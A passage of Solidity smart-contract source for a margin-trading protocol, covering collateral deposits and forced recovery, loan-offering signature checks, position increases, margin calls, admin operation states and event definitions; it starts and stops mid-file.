using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closeWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
public
returns (uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
true
);
uint256 heldTokenPayout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
0,
0
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnCloseWithoutCounterparty(transaction);
return (
transaction.closeAmount,
heldTokenPayout
);
}
function logEventOnCloseWithoutCounterparty(
ClosePositionShared.CloseTx transaction
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
0,
transaction.availableHeldToken,
0,
true
);
}
}
interface DepositCollateralDelegator {
function depositCollateralOnBehalfOf(
address depositor,
bytes32 positionId,
uint256 amount
)
external
returns (address);
}
library DepositCollateralImpl {
using SafeMath for uint256;
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
function depositCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 depositAmount
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
depositAmount > 0,
"DepositCollateralImpl#depositCollateralImpl: Deposit amount cannot be 0"
);
depositCollateralOnBehalfOfRecurse(
position.owner,
msg.sender,
positionId,
depositAmount
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
depositAmount
);
bool marginCallCanceled = false;
uint256 requiredDeposit = position.requiredDeposit;
if (position.callTimestamp > 0 && requiredDeposit > 0) {
if (depositAmount >= requiredDeposit) {
position.requiredDeposit = 0;
position.callTimestamp = 0;
marginCallCanceled = true;
} else {
position.requiredDeposit = position.requiredDeposit.sub(depositAmount);
}
}
emit AdditionalCollateralDeposited(
positionId,
depositAmount,
msg.sender
);
if (marginCallCanceled) {
emit MarginCallCanceled(
positionId,
position.lender,
msg.sender,
depositAmount
);
}
}
function depositCollateralOnBehalfOfRecurse(
address contractAddr,
address depositor,
bytes32 positionId,
uint256 amount
)
private
{
if (depositor == contractAddr) {
return;
}
address newContractAddr =
DepositCollateralDelegator(contractAddr).depositCollateralOnBehalfOf(
depositor,
positionId,
amount
);
if (newContractAddr != contractAddr) {
depositCollateralOnBehalfOfRecurse(
newContractAddr,
depositor,
positionId,
amount
);
}
}
}
interface ForceRecoverCollateralDelegator {
function forceRecoverCollateralOnBehalfOf(
address recoverer,
bytes32 positionId,
address recipient
)
external
returns (address);
}
library ForceRecoverCollateralImpl {
using SafeMath for uint256;
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
function forceRecoverCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
address recipient
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
(
position.callTimestamp > 0
&& block.timestamp >= uint256(position.callTimestamp).add(position.callTimeLimit)
) || (
block.timestamp >= uint256(position.startTimestamp).add(position.maxDuration)
),
"ForceRecoverCollateralImpl#forceRecoverCollateralImpl: Cannot recover yet"
);
forceRecoverCollateralOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
recipient
);
uint256 heldTokenRecovered = MarginCommon.getPositionBalanceImpl(state, positionId);
Vault(state.VAULT).transferFromVault(
positionId,
position.heldToken,
recipient,
heldTokenRecovered
);
MarginCommon.cleanupPosition(
state,
positionId
);
emit CollateralForceRecovered(
positionId,
recipient,
heldTokenRecovered
);
return heldTokenRecovered;
}
function forceRecoverCollateralOnBehalfOfRecurse(
address contractAddr,
address recoverer,
bytes32 positionId,
address recipient
)
private
{
if (recoverer == contractAddr) {
return;
}
address newContractAddr =
ForceRecoverCollateralDelegator(contractAddr).forceRecoverCollateralOnBehalfOf(
recoverer,
positionId,
recipient
);
if (newContractAddr != contractAddr) {
forceRecoverCollateralOnBehalfOfRecurse(
newContractAddr,
recoverer,
positionId,
recipient
);
}
}
}
library TypedSignature {
uint8 private constant SIGTYPE_INVALID = 0;
uint8 private constant SIGTYPE_ECRECOVER_DEC = 1;
uint8 private constant SIGTYPE_ECRECOVER_HEX = 2;
uint8 private constant SIGTYPE_UNSUPPORTED = 3;
bytes constant private PREPEND_HEX = "\x19Ethereum Signed Message:\n\x20";
bytes constant private PREPEND_DEC = "\x19Ethereum Signed Message:\n32";
function recover(
bytes32 hash,
bytes signatureWithType
)
internal
pure
returns (address)
{
require(
signatureWithType.length == 66,
"SignatureValidator#validateSignature: invalid signature length"
);
uint8 sigType = uint8(signatureWithType[0]);
require(
sigType > uint8(SIGTYPE_INVALID),
"SignatureValidator#validateSignature: invalid signature type"
);
require(
sigType < uint8(SIGTYPE_UNSUPPORTED),
"SignatureValidator#validateSignature: unsupported signature type"
);
uint8 v = uint8(signatureWithType[1]);
bytes32 r;
bytes32 s;
assembly {
r := mload(add(signatureWithType, 34))
s := mload(add(signatureWithType, 66))
}
bytes32 signedHash;
if (sigType == SIGTYPE_ECRECOVER_DEC) {
signedHash = keccak256(abi.encodePacked(PREPEND_DEC, hash));
} else {
assert(sigType == SIGTYPE_ECRECOVER_HEX);
signedHash = keccak256(abi.encodePacked(PREPEND_HEX, hash));
}
return ecrecover(
signedHash,
v,
r,
s
);
}
}
interface LoanOfferingVerifier {
function verifyLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
external
returns (address);
}
library BorrowShared {
using SafeMath for uint256;
struct Tx {
bytes32 positionId;
address owner;
uint256 principal;
uint256 lenderAmount;
MarginCommon.LoanOffering loanOffering;
address exchangeWrapper;
bool depositInHeldToken;
uint256 depositAmount;
uint256 collateralAmount;
uint256 heldTokenFromSell;
}
function validateTxPreSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
assert(transaction.lenderAmount >= transaction.principal);
require(
transaction.principal > 0,
"BorrowShared#validateTxPreSell: Positions with 0 principal are not allowed"
);
if (transaction.loanOffering.taker != address(0)) {
require(
msg.sender == transaction.loanOffering.taker,
"BorrowShared#validateTxPreSell: Invalid loan offering taker"
);
}
if (transaction.loanOffering.positionOwner != address(0)) {
require(
transaction.owner == transaction.loanOffering.positionOwner,
"BorrowShared#validateTxPreSell: Invalid position owner"
);
}
if (AddressUtils.isContract(transaction.loanOffering.payer)) {
getConsentFromSmartContractLender(transaction);
} else {
require(
transaction.loanOffering.payer == TypedSignature.recover(
transaction.loanOffering.loanHash,
transaction.loanOffering.signature
),
"BorrowShared#validateTxPreSell: Invalid loan offering signature"
);
}
uint256 unavailable = MarginCommon.getUnavailableLoanOfferingAmountImpl(
state,
transaction.loanOffering.loanHash
);
require(
transaction.lenderAmount.add(unavailable) <= transaction.loanOffering.rates.maxAmount,
"BorrowShared#validateTxPreSell: Loan offering does not have enough available"
);
require(
transaction.lenderAmount >= transaction.loanOffering.rates.minAmount,
"BorrowShared#validateTxPreSell: Lender amount is below loan offering minimum amount"
);
require(
transaction.loanOffering.owedToken != transaction.loanOffering.heldToken,
"BorrowShared#validateTxPreSell: owedToken cannot be equal to heldToken"
);
require(
transaction.owner != address(0),
"BorrowShared#validateTxPreSell: Position owner cannot be 0"
);
require(
transaction.loanOffering.owner != address(0),
"BorrowShared#validateTxPreSell: Loan owner cannot be 0"
);
require(
transaction.loanOffering.expirationTimestamp > block.timestamp,
"BorrowShared#validateTxPreSell: Loan offering is expired"
);
require(
transaction.loanOffering.maxDuration > 0,
"BorrowShared#validateTxPreSell: Loan offering has 0 maximum duration"
);
require(
transaction.loanOffering.rates.interestPeriod <= transaction.loanOffering.maxDuration,
"BorrowShared#validateTxPreSell: Loan offering interestPeriod > maxDuration"
);
}
function doPostSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
validateTxPostSell(transaction);
transferLoanFees(state, transaction);
state.loanFills[transaction.loanOffering.loanHash] =
state.loanFills[transaction.loanOffering.loanHash].add(transaction.lenderAmount);
}
function doSell(
MarginState.State storage state,
Tx transaction,
bytes orderData,
uint256 maxHeldTokenToBuy
)
internal
returns (uint256)
{
pullOwedTokensFromLender(state, transaction);
uint256 sellAmount = transaction.depositInHeldToken ?
transaction.lenderAmount :
transaction.lenderAmount.add(transaction.depositAmount);
uint256 heldTokenFromSell = Math.min256(
maxHeldTokenToBuy,
ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
sellAmount,
orderData
)
);
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
transaction.exchangeWrapper,
heldTokenFromSell
);
transaction.collateralAmount = transaction.collateralAmount.add(heldTokenFromSell);
return heldTokenFromSell;
}
function doDepositOwedToken(
MarginState.State storage state,
Tx transaction
)
internal
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
msg.sender,
transaction.exchangeWrapper,
transaction.depositAmount
);
}
function doDepositHeldToken(
MarginState.State storage state,
Tx transaction
)
internal
{
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
msg.sender,
transaction.depositAmount
);
transaction.collateralAmount = transaction.collateralAmount.add(transaction.depositAmount);
}
function validateTxPostSell(
Tx transaction
)
private
pure
{
uint256 expectedCollateral = transaction.depositInHeldToken ?
transaction.heldTokenFromSell.add(transaction.depositAmount) :
transaction.heldTokenFromSell;
assert(transaction.collateralAmount == expectedCollateral);
uint256 loanOfferingMinimumHeldToken = MathHelpers.getPartialAmountRoundedUp(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minHeldToken
);
require(
transaction.collateralAmount >= loanOfferingMinimumHeldToken,
"BorrowShared#validateTxPostSell: Loan offering minimum held token not met"
);
}
function getConsentFromSmartContractLender(
Tx transaction
)
private
{
verifyLoanOfferingRecurse(
transaction.loanOffering.payer,
getLoanOfferingAddresses(transaction),
getLoanOfferingValues256(transaction),
getLoanOfferingValues32(transaction),
transaction.positionId,
transaction.loanOffering.signature
);
}
function verifyLoanOfferingRecurse(
address contractAddr,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
private
{
address newContractAddr = LoanOfferingVerifier(contractAddr).verifyLoanOffering(
addresses,
values256,
values32,
positionId,
signature
);
if (newContractAddr != contractAddr) {
verifyLoanOfferingRecurse(
newContractAddr,
addresses,
values256,
values32,
positionId,
signature
);
}
}
function pullOwedTokensFromLender(
MarginState.State storage state,
Tx transaction
)
private
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
transaction.loanOffering.payer,
transaction.exchangeWrapper,
transaction.lenderAmount
);
}
function transferLoanFees(
MarginState.State storage state,
Tx transaction
)
private
{
if (transaction.loanOffering.feeRecipient == address(0)) {
return;
}
TokenProxy proxy = TokenProxy(state.TOKEN_PROXY);
uint256 lenderFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.lenderFee
);
uint256 takerFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.takerFee
);
if (lenderFee > 0) {
proxy.transferTokens(
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.payer,
transaction.loanOffering.feeRecipient,
lenderFee
);
}
if (takerFee > 0) {
proxy.transferTokens(
transaction.loanOffering.takerFeeToken,
msg.sender,
transaction.loanOffering.feeRecipient,
takerFee
);
}
}
function getLoanOfferingAddresses(
Tx transaction
)
private
pure
returns (address[9])
{
return [
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.payer,
transaction.loanOffering.owner,
transaction.loanOffering.taker,
transaction.loanOffering.positionOwner,
transaction.loanOffering.feeRecipient,
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.takerFeeToken
];
}
function getLoanOfferingValues256(
Tx transaction
)
private
pure
returns (uint256[7])
{
return [
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minAmount,
transaction.loanOffering.rates.minHeldToken,
transaction.loanOffering.rates.lenderFee,
transaction.loanOffering.rates.takerFee,
transaction.loanOffering.expirationTimestamp,
transaction.loanOffering.salt
];
}
function getLoanOfferingValues32(
Tx transaction
)
private
pure
returns (uint32[4])
{
return [
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.rates.interestPeriod
];
}
}
interface IncreaseLoanDelegator {
function increaseLoanOnBehalfOf(
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 lentAmount
)
external
returns (address);
}
interface IncreasePositionDelegator {
function increasePositionOnBehalfOf(
address trader,
bytes32 positionId,
uint256 principalAdded
)
external
returns (address);
}
library IncreasePositionImpl {
using SafeMath for uint256;
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
function increasePositionImpl(
MarginState.State storage state,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
BorrowShared.Tx memory transaction = parseIncreasePositionTx(
position,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature
);
validateIncrease(state, transaction, position);
doBorrowAndSell(state, transaction, orderData);
updateState(
position,
transaction.positionId,
transaction.principal,
transaction.lenderAmount,
transaction.loanOffering.payer
);
recordPositionIncreased(transaction, position);
return transaction.lenderAmount;
}
function increaseWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 principalToAdd
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
principalToAdd > 0,
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot add 0 principal"
);
require(
block.timestamp < uint256(position.startTimestamp).add(position.maxDuration),
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot increase after maxDuration"
);
uint256 heldTokenAmount = getCollateralNeededForAddedPrincipal(
state,
position,
positionId,
principalToAdd
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
heldTokenAmount
);
updateState(
position,
positionId,
principalToAdd,
0,
msg.sender
);
emit PositionIncreased(
positionId,
msg.sender,
msg.sender,
position.owner,
position.lender,
"",
address(0),
0,
principalToAdd,
0,
heldTokenAmount,
true
);
return heldTokenAmount;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
uint256 collateralToAdd = getCollateralNeededForAddedPrincipal(
state,
state.positions[transaction.positionId],
transaction.positionId,
transaction.principal
);
BorrowShared.validateTxPreSell(state, transaction);
uint256 maxHeldTokenFromSell = MathHelpers.maxUint256();
if (!transaction.depositInHeldToken) {
transaction.depositAmount =
getOwedTokenDeposit(transaction, collateralToAdd, orderData);
BorrowShared.doDepositOwedToken(state, transaction);
maxHeldTokenFromSell = collateralToAdd;
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
maxHeldTokenFromSell
);
if (transaction.depositInHeldToken) {
require(
transaction.heldTokenFromSell <= collateralToAdd,
"IncreasePositionImpl#doBorrowAndSell: DEX order gives too much heldToken"
);
transaction.depositAmount = collateralToAdd.sub(transaction.heldTokenFromSell);
BorrowShared.doDepositHeldToken(state, transaction);
}
assert(transaction.collateralAmount == collateralToAdd);
BorrowShared.doPostSell(state, transaction);
}
function getOwedTokenDeposit(
BorrowShared.Tx transaction,
uint256 collateralToAdd,
bytes orderData
)
private
view
returns (uint256)
{
uint256 totalOwedToken = ExchangeWrapper(transaction.exchangeWrapper).getExchangeCost(
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
collateralToAdd,
orderData
);
require(
transaction.lenderAmount <= totalOwedToken,
"IncreasePositionImpl#getOwedTokenDeposit: Lender amount is more than required"
);
return totalOwedToken.sub(transaction.lenderAmount);
}
function validateIncrease(
MarginState.State storage state,
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
view
{
assert(MarginCommon.containsPositionImpl(state, transaction.positionId));
require(
position.callTimeLimit <= transaction.loanOffering.callTimeLimit,
"IncreasePositionImpl#validateIncrease: Loan callTimeLimit is less than the position"
);
uint256 positionEndTimestamp = uint256(position.startTimestamp).add(position.maxDuration);
uint256 offeringEndTimestamp = block.timestamp.add(transaction.loanOffering.maxDuration);
require(
positionEndTimestamp <= offeringEndTimestamp,
"IncreasePositionImpl#validateIncrease: Loan end timestamp is less than the position"
);
require(
block.timestamp < positionEndTimestamp,
"IncreasePositionImpl#validateIncrease: Position has passed its maximum duration"
);
}
function getCollateralNeededForAddedPrincipal(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalToAdd
)
private
view
returns (uint256)
{
uint256 heldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
return MathHelpers.getPartialAmountRoundedUp(
principalToAdd,
position.principal,
heldTokenBalance
);
}
function updateState(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalAdded,
uint256 owedTokenLent,
address loanPayer
)
private
{
position.principal = position.principal.add(principalAdded);
address owner = position.owner;
address lender = position.lender;
increasePositionOnBehalfOfRecurse(
owner,
msg.sender,
positionId,
principalAdded
);
increaseLoanOnBehalfOfRecurse(
lender,
loanPayer,
positionId,
principalAdded,
owedTokenLent
);
}
function increasePositionOnBehalfOfRecurse(
address contractAddr,
address trader,
bytes32 positionId,
uint256 principalAdded
)
private
{
if (trader == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreasePositionDelegator(contractAddr).increasePositionOnBehalfOf(
trader,
positionId,
principalAdded
);
if (newContractAddr != contractAddr) {
increasePositionOnBehalfOfRecurse(
newContractAddr,
trader,
positionId,
principalAdded
);
}
}
function increaseLoanOnBehalfOfRecurse(
address contractAddr,
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 amountLent
)
private
{
if (payer == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreaseLoanDelegator(contractAddr).increaseLoanOnBehalfOf(
payer,
positionId,
principalAdded,
amountLent
);
if (newContractAddr != contractAddr) {
increaseLoanOnBehalfOfRecurse(
newContractAddr,
payer,
positionId,
principalAdded,
amountLent
);
}
}
function recordPositionIncreased(
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
{
emit PositionIncreased(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
position.owner,
position.lender,
transaction.loanOffering.loanHash,
transaction.loanOffering.feeRecipient,
transaction.lenderAmount,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.depositInHeldToken
);
}
function parseIncreasePositionTx(
MarginCommon.Position storage position,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
uint256 principal = values256[7];
uint256 lenderAmount = MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principal,
block.timestamp
);
assert(lenderAmount >= principal);
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: positionId,
owner: position.owner,
principal: principal,
lenderAmount: lenderAmount,
loanOffering: parseLoanOfferingFromIncreasePositionTx(
position,
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[6],
depositInHeldToken: depositInHeldToken,
depositAmount: 0,
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOfferingFromIncreasePositionTx(
MarginCommon.Position storage position,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: position.owedToken,
heldToken: position.heldToken,
payer: addresses[0],
owner: position.lender,
taker: addresses[1],
positionOwner: addresses[2],
feeRecipient: addresses[3],
lenderFeeToken: addresses[4],
takerFeeToken: addresses[5],
rates: parseLoanOfferingRatesFromIncreasePositionTx(position, values256),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferingRatesFromIncreasePositionTx(
MarginCommon.Position storage position,
uint256[8] values256
)
private
view
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: position.interestRate,
interestPeriod: position.interestPeriod
});
return rates;
}
}
contract MarginStorage {
MarginState.State state;
}
contract LoanGetters is MarginStorage {
function getLoanUnavailableAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanHash);
}
function getLoanFilledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanFills[loanHash];
}
function getLoanCanceledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanCancels[loanHash];
}
}
interface CancelMarginCallDelegator {
function cancelMarginCallOnBehalfOf(
address canceler,
bytes32 positionId
)
external
returns (address);
}
interface MarginCallDelegator {
function marginCallOnBehalfOf(
address caller,
bytes32 positionId,
uint256 depositAmount
)
external
returns (address);
}
library LoanImpl {
using SafeMath for uint256;
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
function marginCallImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requiredDeposit
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp == 0,
"LoanImpl#marginCallImpl: The position has already been margin-called"
);
marginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
requiredDeposit
);
position.callTimestamp = TimestampHelper.getBlockTimestamp32();
position.requiredDeposit = requiredDeposit;
emit MarginCallInitiated(
positionId,
position.lender,
position.owner,
requiredDeposit
);
}
function cancelMarginCallImpl(
MarginState.State storage state,
bytes32 positionId
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp > 0,
"LoanImpl#cancelMarginCallImpl: Position has not been margin-called"
);
cancelMarginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId
);
state.positions[positionId].callTimestamp = 0;
state.positions[positionId].requiredDeposit = 0;
emit MarginCallCanceled(
positionId,
position.lender,
position.owner,
0
);
}
function cancelLoanOfferingImpl(
MarginState.State storage state,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
public
returns (uint256)
{
MarginCommon.LoanOffering memory loanOffering = parseLoanOffering(
addresses,
values256,
values32
);
require(
msg.sender == loanOffering.payer,
"LoanImpl#cancelLoanOfferingImpl: Only loan offering payer can cancel"
);
require(
loanOffering.expirationTimestamp > block.timestamp,
"LoanImpl#cancelLoanOfferingImpl: Loan offering has already expired"
);
uint256 remainingAmount = loanOffering.rates.maxAmount.sub(
MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanOffering.loanHash)
);
uint256 amountToCancel = Math.min256(remainingAmount, cancelAmount);
if (amountToCancel == 0) {
return 0;
}
state.loanCancels[loanOffering.loanHash] =
state.loanCancels[loanOffering.loanHash].add(amountToCancel);
emit LoanOfferingCanceled(
loanOffering.loanHash,
loanOffering.payer,
loanOffering.feeRecipient,
amountToCancel
);
return amountToCancel;
}
function marginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId,
uint256 requiredDeposit
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
MarginCallDelegator(contractAddr).marginCallOnBehalfOf(
msg.sender,
positionId,
requiredDeposit
);
if (newContractAddr != contractAddr) {
marginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId,
requiredDeposit
);
}
}
function cancelMarginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
CancelMarginCallDelegator(contractAddr).cancelMarginCallOnBehalfOf(
msg.sender,
positionId
);
if (newContractAddr != contractAddr) {
cancelMarginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId
);
}
}
function parseLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[0],
heldToken: addresses[1],
payer: addresses[2],
owner: addresses[3],
taker: addresses[4],
positionOwner: addresses[5],
feeRecipient: addresses[6],
lenderFeeToken: addresses[7],
takerFeeToken: addresses[8],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: new bytes(0)
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[7] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
interestRate: values32[2],
lenderFee: values256[3],
takerFee: values256[4],
interestPeriod: values32[3]
});
return rates;
}
}
contract MarginAdmin is Ownable {
uint8 private constant OPERATION_STATE_OPERATIONAL = 0;
uint8 private constant OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY = 1;
uint8 private constant OPERATION_STATE_CLOSE_ONLY = 2;
uint8 private constant OPERATION_STATE_CLOSE_DIRECTLY_ONLY = 3;
uint8 private constant OPERATION_STATE_INVALID = 4;
event OperationStateChanged(
uint8 from,
uint8 to
);
uint8 public operationState;
constructor()
public
Ownable()
{
operationState = OPERATION_STATE_OPERATIONAL;
}
modifier onlyWhileOperational() {
require(
operationState == OPERATION_STATE_OPERATIONAL,
"MarginAdmin#onlyWhileOperational: Can only call while operational"
);
_;
}
modifier cancelLoanOfferingStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY,
"MarginAdmin#cancelLoanOfferingStateControl: Invalid operation state"
);
_;
}
modifier closePositionStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY
|| operationState == OPERATION_STATE_CLOSE_ONLY,
"MarginAdmin#closePositionStateControl: Invalid operation state"
);
_;
}
modifier closePositionDirectlyStateControl() {
_;
}
function setOperationState(
uint8 newState
)
external
onlyOwner
{
require(
newState < OPERATION_STATE_INVALID,
"MarginAdmin#setOperationState: newState is not a valid operation state"
);
if (newState != operationState) {
emit OperationStateChanged(
operationState,
newState
);
operationState = newState;
}
}
}
contract MarginEvents {
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
}
library OpenPositionImpl {
using SafeMath for uint256;
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
